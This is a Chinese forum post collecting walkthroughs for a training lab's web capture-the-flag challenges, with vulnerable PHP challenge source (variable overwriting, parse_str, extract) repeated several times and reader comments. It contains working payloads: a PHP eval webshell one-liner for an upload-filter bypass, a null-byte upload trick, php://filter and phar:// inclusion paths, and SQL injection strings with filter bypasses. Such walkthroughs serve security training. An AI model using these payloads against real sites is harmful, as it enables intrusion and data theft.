首页
社区
课程
招聘
[原创]Web-CTF刷题-Writeup合集!
发表于: 2020-11-10 13:08 1832

[原创]Web-CTF刷题-Writeup合集!

2020-11-10 13:08
1832

查看源代码

图片描述

题目描述
图片描述

源代码

图片描述

图片描述
flag{asdhetianlab}

<script language="pHp">@eval($_POST['UzJu'])</script>
<script language="pHp">@eval($_POST['UzJu'])</script>
<?php
include "flag.php";
$_403 = "Access Denied";
$_200 = "Welcome Admin";
if ($_SERVER["REQUEST_METHOD"] != "POST"){
    //需要POST方法
    die("hetianlab flag is here :biubiubiu");
}if (!isset($_POST["flag"])){
    //需要POST参数=flag
    die($_403);
}foreach ($_GET as $key => $value){
    //遍历GET方法所传值
        $$key = $$value;
    }foreach ($_POST as $key => $value){
    //遍历POST方法所传值
    $$key = $value;
}if ($_POST["flag"] !== $flag){
    die($_403);
}
echo "This is your flag : ". $flag . "\n";
die($_200);
?>
<?php
include "flag.php";
$_403 = "Access Denied";
$_200 = "Welcome Admin";
if ($_SERVER["REQUEST_METHOD"] != "POST"){
    //需要POST方法
    die("hetianlab flag is here :biubiubiu");
}if (!isset($_POST["flag"])){
    //需要POST参数=flag
    die($_403);
}foreach ($_GET as $key => $value){
    //遍历GET方法所传值
        $$key = $$value;
    }foreach ($_POST as $key => $value){
    //遍历POST方法所传值
    $$key = $value;
}if ($_POST["flag"] !== $flag){
    die($_403);
}
echo "This is your flag : ". $flag . "\n";
die($_200);
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<title>学会变量覆盖</title>
</head>
<body>
<!--
$flag='xxxx':
extract($_GET):
if (isset($gift))
Scontent =@trim(file_get_contents($flag)):
if (Sgift = $content)
echo"flag
else
echo ' oh . . ' ;
-->
</body>
</html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<title>学会变量覆盖</title>
</head>
<body>
<!--
$flag='xxxx':
extract($_GET):
if (isset($gift))
Scontent =@trim(file_get_contents($flag)):
if (Sgift = $content)
echo"flag
else
echo ' oh . . ' ;
-->
</body>
</html>
<?php
 
highlight_file('source.txt');
echo "<br><br>";
 
$flag = 'xxxxxxxx';
$msg_giveme = 'Give me the flag!';
$msg_getout = 'No this. Get out!';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($msg_giveme);
}
 
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
    exit($msg_getout);
}
 
foreach ($_POST as $key => $value) {
    $$key = $value;
}
 
foreach ($_GET as $key => $value) {
    $$key = $$value;
}
 
echo 'the flag is : ' . $flag;
 
?>
<?php
 
highlight_file('source.txt');
echo "<br><br>";
 
$flag = 'xxxxxxxx';
$msg_giveme = 'Give me the flag!';
$msg_getout = 'No this. Get out!';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($msg_giveme);
}
 
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
    exit($msg_getout);
}
 
foreach ($_POST as $key => $value) {
    $$key = $value;
}
 
foreach ($_GET as $key => $value) {
    $$key = $$value;
}
 
echo 'the flag is : ' . $flag;
 
?>
 
<?php
header("Content-Type: text/html;charset=utf-8");
       error_reporting(0);
 
       if (empty($_GET['id']))
      {
            show_source(__FILE__);
            die();
      }
      else
     {
            include ('flag.php');
            $a = "www.hetianlab.com ";
            $id = $_GET['id'];
            @parse_str($id);
            if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO'))
           {
                 echo $flag;
           }
           else
           {
                 exit('其实很简单其实并不难!');
           }
 
       }
 
?>
<?php
header("Content-Type: text/html;charset=utf-8");
       error_reporting(0);
 
       if (empty($_GET['id']))
      {
            show_source(__FILE__);
            die();
      }
      else
     {
            include ('flag.php');
            $a = "www.hetianlab.com ";
            $id = $_GET['id'];
            @parse_str($id);
            if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO'))
           {
                 echo $flag;
           }
           else
           {
                 exit('其实很简单其实并不难!');
           }
 
       }
 
?>
1
<script language="pHp">@eval($_POST['UzJu'])</script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
include "flag.php";
$_403 = "Access Denied";
$_200 = "Welcome Admin";
if ($_SERVER["REQUEST_METHOD"] != "POST"){
    //需要POST方法
    die("hetianlab flag is here :biubiubiu");
}if (!isset($_POST["flag"])){
    //需要POST参数=flag
    die($_403);
}foreach ($_GET as $key => $value){
    //遍历GET方法所传值
        $$key = $$value;
    }foreach ($_POST as $key => $value){
    //遍历POST方法所传值
    $$key = $value;
}if ($_POST["flag"] !== $flag){
    die($_403);
}
echo "This is your flag : ". $flag . "\n";
die($_200);
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<title>学会变量覆盖</title>
</head>
<body>
<!--
$flag='xxxx':
extract($_GET):
if (isset($gift))
Scontent =@trim(file_get_contents($flag)):
if (Sgift = $content)
echo"flag
else
echo ' oh . . ' ;
-->
</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
 
highlight_file('source.txt');
echo "<br><br>";
 
$flag = 'xxxxxxxx';
$msg_giveme = 'Give me the flag!';
$msg_getout = 'No this. Get out!';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($msg_giveme);
}
 
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
    exit($msg_getout);
}
 
foreach ($_POST as $key => $value) {
    $$key = $value;
}
 
foreach ($_GET as $key => $value) {
    $$key = $$value;
}
 
echo 'the flag is : ' . $flag;
 
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
header("Content-Type: text/html;charset=utf-8");
       error_reporting(0);
 
       if (empty($_GET['id']))
      {
            show_source(__FILE__);
            die();
      }
      else
     {
            include ('flag.php');
            $a = "www.hetianlab.com ";
            $id = $_GET['id'];
            @parse_str($id);
            if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO'))
           {
                 echo $flag;
           }
           else
           {
                 exit('其实很简单其实并不难!');
           }
 
       }
 
?>
  • 我的博客:blog.CatGames.cn
  • 我的邮箱:root@r0insecurity.com
  • 漏洞地址:10.1.1.147:5001
    图片描述
  • Burp抓包
    图片描述
    图片描述
    图片描述
    图片描述
    图片描述
  • 对应题目,神奇的磁带(tape)
    图片描述
    图片描述
    图片描述
    图片描述
    图片描述
    图片描述
    图片描述
    图片描述
    图片描述
    图片描述
    图片描述
    图片描述
    flag是:Flag{ctf_victory_SecBug}
  • 题目描述
    图片描述
    图片描述
  • 查看源码
    图片描述
  • 没什么东西 看看当前页面COOKIE
    图片描述
  • 打开burp抓包
    图片描述
  • 没什么东西,然后看了一下标题
    图片描述
  • 打开终端扫一下目录
    图片描述
    图片描述
  • 都指向console目录
    图片描述
  • 根据经验发现XFF没跑了 burp抓包改包
    图片描述
    图片描述
    拿到flag: flag{hetianlab-weekctf}
  • 题目描述
    图片描述
  • 访问网站
    图片描述
  • 查看源代码
    图片描述
  • 查找一番无果后根据标题猜测跟HTTP的Accept-language有关
    图片描述
    图片描述
  • 8个国家,分别为美国 英国 法国 德国 日本 韩国 西班牙 瑞典 百度搜了一下
    图片描述
  • 美国:en-US
    图片描述
  • 英国:en-gb
    图片描述
  • 法国:fr-fr
    图片描述
  • 德国:de-de
    图片描述
  • 日本:ja-jp/jp
    图片描述
  • 韩国:kr/kor 实测kr并不会返回信息
    图片描述
    图片描述
  • 西班牙:es-es
    图片描述
  • 瑞典:sv
    图片描述
    拼接flag为:flag{Thisis_hetianlab@}
  • 题目描述
    图片描述
  • 访问网站
    图片描述
  • 尝试一下admin admin 无果后查看源代码
    图片描述
    图片描述
  • 审计题 定义俩变量
    图片描述
  • 检查post user name 和password
    图片描述
  • 等于
    图片描述
  • 检查cookie是不是 check
    图片描述
  • url解密后的username变量全部等于(===你懂的)和url解密后的password不等于admin 意思是账号admin密码不等于admin即可
    图片描述
    图片描述
  • 然后setcookie等于ahash然后用base64加密secret变量然后urldecode admin admin,time()为时间7天
    图片描述
  • 流程就是抓包把cookie改成check然后加密后的secret和明文的admin与任意密码
  • 抓包看到一个base64加密的cookie
    图片描述
  • 解密后
    图片描述
  • 这个88应该就是secret这个变量 那么把它加密
    图片描述
  • 然后把包丢进repeater
    图片描述
  • 名字改为check等于加密后的88
  • 后面跟上admin与任意密码即可 注意:check那里的密码必须与下面提交的数据password一样 不然会提示重新检查cookie
    图片描述
    flag{welcome_to_htlab}
  • 题目描述
    图片描述
  • 访问网站
    图片描述
  • 检查提交的源代码
    图片描述
  • 新建文件
    图片描述
  • 写入phpinfo
    图片描述
    图片描述
    图片描述
    图片描述
    图片描述
    图片描述
  • 点击发送
    图片描述
    图片描述
    Flag: flag{hetian@lab_com}
  • 题目描述
    图片描述
  • 访问网站
    图片描述
  • 看一下提交按钮的javascript
    图片描述
    图片描述
    图片描述
  • 丢到repeater
    图片描述
  • 就只剩下第三层了
    图片描述
  • LBWNB 17这个数字 猜测是提交的数据
    图片描述

    flag{0000_0000_0000}
  • 题目描述
    图片描述
  • 访问网站
    图片描述
  • 查看源码
    图片描述
  • 源代码没有东西 直接整抓包上传8
    图片描述
    图片描述
  • Uploads/后面加上UzJu.php%00 然后点击send发现还是不行
    图片描述
  • 后来想了一下好像要改hex
    图片描述
    图片描述
    flag{asdf_hetianlab_com}
  • 题目描述
    图片描述
  • 访问网站
    图片描述
  • 写一个phpinfo上传
    图片描述
  • 过滤了<?php php使用Payload
    1
    <script language="pHp">@eval($_POST['UzJu'])</script>
  • 上传后使用菜刀连接
    图片描述
    图片描述
    Flag:flag{0123_4567_8901}
  • 题目描述
    图片描述
  • 访问网站
    图片描述
  • ../phpinfo.php
    图片描述
    图片描述
  • 拉到最底下查看flag
    Flag: flag{abcd_hetianlab_1234_qwer}
  • 题目描述
    图片描述
  • 访问网站
    图片描述
    图片描述
    图片描述
    图片描述
  • 彳亍 解密后
    图片描述
    Flag: flag{abdc_1234_qwer_hetian}
  • Payload: php://filter/convert.base64encode/resource=flag.php
  • 题目描述
    图片描述
  • 访问网站
    图片描述
  • 新建文件
    图片描述
  • 打包成zip 然后将zip文件后缀名改为jpg
    图片描述
  • 上传文件
    图片描述
    图片描述
  • 在c盘下有菜刀工具 连接地址:http://10.1.1.147:5011/include.php?
    file=phar://upload/test.jpg/1
    图片描述
    flag{whoami_hetianlab_student}
  • 题目描述
    图片描述
  • 访问网站 查看源码
    图片描述
  • 按照题目提示找到注释说明flag在opt目录下
    图片描述
    图片描述
    图片描述
    图片描述
    图片描述
    Flag(hetianlab_ctf)
  • 题目描述
    图片描述
    图片描述
    图片描述
  • 启动apache 进入html目录 创建dtd文件
    图片描述
  • 修改POST数据
    图片描述
  • 抓包后监听即可
    图片描述
    flag{hetian_1234_awdr}
  • 题目描述
    图片描述
  • 访问网站 直接使用file协议
    图片描述
  • 查看flag
    图片描述
    flag{enter_your_passwd}
  • 题目描述
    图片描述
  • 抓包
    图片描述
  • 需要POST参数admin
    图片描述
  • 加上XFF
    图片描述
  • 试试xcip
    图片描述
    图片描述
    flag{0123_hetianlab_hunan}
  • 题目描述
    图片描述
  • 访问网站
    图片描述
  • 源代码
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    <?php
    include "flag.php";
    $_403 = "Access Denied";
    $_200 = "Welcome Admin";
    if ($_SERVER["REQUEST_METHOD"] != "POST"){
        //需要POST方法
        die("hetianlab flag is here :biubiubiu");
    }if (!isset($_POST["flag"])){
        //需要POST参数=flag
        die($_403);
    }foreach ($_GET as $key => $value){
        //遍历GET方法所传值
            $$key = $$value;
        }foreach ($_POST as $key => $value){
        //遍历POST方法所传值
        $$key = $value;
    }if ($_POST["flag"] !== $flag){
        die($_403);
    }
    echo "This is your flag : ". $flag . "\n";
    die($_200);
    ?>
    图片描述
  • 变量覆盖题
    flag{hunan_hetian}
  • 题目描述
    图片描述
  • 查看源代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    <html>
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <title>学会变量覆盖</title>
    </head>
    <body>
    <!--
    $flag='xxxx':
    extract($_GET):
    if (isset($gift))
    Scontent =@trim(file_get_contents($flag)):
    if (Sgift = $content)
    echo"flag
    else
    echo ' oh . . ' ;
    -->
    </body>
    </html>

    图片描述

  • 判断gift变量是否存在,否则执行判断
    File_get_contents读取flag传给content
    判断gift 是否等于content,如果等于content就输出flag
    图片描述
  • 构造gift=&flag= 两个值都为空,判断相等
    flag{hetianlab}
  • 题目描述
    图片描述

  • 源代码

  • 题目描述
    图片描述
  • Parse_str导致的变量覆盖
  • Payload: http://10.1.1.147:5020/?id=a[0]=s878926199a
  • Php参考:
    https://www.cnblogs.com/xhds/p/12587249.html#_label2
    https://www.cnblogs.com/xhds/p/12349189.html
  • 题目描述
    图片描述
  • 访问网站
    图片描述
  • 简单的查询代码 输入1
    图片描述
  • 输入2
    图片描述
    图片描述
    图片描述
  • 提示hacker! 可能过滤的’ 或者 and等
    图片描述
    图片描述
  • 没有提示hacker 说明没有过滤单引号 根据标题发现可能过滤了空格
    图片描述
    图片描述
  • 尝试and后也没有过滤and
  • 首先1’order//by//5#
    图片描述
  • 发现没有信息 再尝试1’order//by//3#
    图片描述
  • 然后使用-1’union//select//1,2,3#
    图片描述
    图片描述
  • 然后看到我才会告诉你可以用select flag from flag看到Flag尝试
  • payload:-1'union//select//1,2,flag//from//flag#
    图片描述
    Flag: flag{63564494cac7097c}
  • 题目描述
    图片描述
    图片描述
  • 打开发现跟21周的没什么区别 只是新增了select过滤
    图片描述
  • 直接大小写绕过即可
    图片描述
    图片描述
  • Payload:-1'union//SeLeCt//1,2,flag//from//flag#
    Flag:flag{ff98f887ddaaad88}
  • Web-CTF-WriteUp
  •          一、前言
  •          二、WriteUp
  •                  ①、编码
  •                          1、神奇的磁带-WriteUp
  •                  ②、HTTP基础
  •                          2、 就差一把钥匙
  •                          3、 迷了路
  •                  ③、基础代码审计

  • [注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

    收藏
    免费 6
    支持
    分享
    最新回复 (2)
    雪    币: 271
    能力值: ( LV1,RANK:0 )
    在线值:
    发帖
    回帖
    粉丝
    2
    图片有点模糊耶
    2023-6-4 23:19
    0
    雪    币: 452
    活跃值: (6128)
    能力值: ( LV12,RANK:580 )
    在线值:
    发帖
    回帖
    粉丝
    3
    hudte 图片有点模糊耶
    文章太老了
    2023-6-29 09:57
    0
    游客
    登录 | 注册 方可回帖
    返回
    //